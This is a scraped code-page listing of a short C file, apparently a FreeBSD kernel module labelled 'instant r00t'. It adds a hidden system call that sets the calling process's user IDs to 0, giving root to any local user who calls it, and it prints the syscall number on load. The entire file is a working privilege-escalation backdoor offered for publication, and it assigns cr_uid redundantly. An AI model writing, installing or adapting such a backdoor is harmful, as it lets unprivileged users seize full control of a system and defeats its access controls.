61 lines
1.0 KiB
C
Executable File
61 lines
1.0 KiB
C
Executable File
/*
|
|
instant r00t :)
|
|
ancient code, time to publish
|
|
by -
|
|
*/
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/param.h>
|
|
#include <sys/proc.h>
|
|
#include <sys/module.h>
|
|
#include <sys/sysent.h>
|
|
#include <sys/kernel.h>
|
|
#include <sys/systm.h>
|
|
#include <sys/imgact.h>
|
|
#include <sys/linker.h>
|
|
#include <sys/libkern.h>
|
|
#include <sys/sysproto.h>
|
|
|
|
|
|
/*
|
|
* The function for implementing the syscall.
|
|
*/
|
|
|
|
static int
|
|
gimme_rude (struct thread *td, void *arg)
|
|
{
|
|
td->td_proc->p_ucred->cr_uid=0;
|
|
td->td_proc->p_ucred->cr_ruid=0;
|
|
td->td_proc->p_ucred->cr_uid=0;
|
|
td->td_proc->p_ucred->cr_uid=0;
|
|
return 0;
|
|
}
|
|
|
|
static struct sysent gimme_rude_sysent = {
|
|
0, /* sy_narg */
|
|
gimme_rude /* sy_call */
|
|
};
|
|
|
|
static int offset = NO_SYSCALL;
|
|
|
|
static int
|
|
load (struct module *module, int cmd, void *arg)
|
|
{
|
|
int error = 0;
|
|
|
|
switch (cmd) {
|
|
case MOD_LOAD :
|
|
printf ("call me at %d\n", offset);
|
|
break;
|
|
case MOD_UNLOAD :
|
|
printf ("call me at %d\n", offset);
|
|
break;
|
|
default :
|
|
error = EOPNOTSUPP;
|
|
break;
|
|
}
|
|
return error;
|
|
}
|
|
|
|
SYSCALL_MODULE(syscall, &offset, &gimme_rude_sysent, load, NULL);
|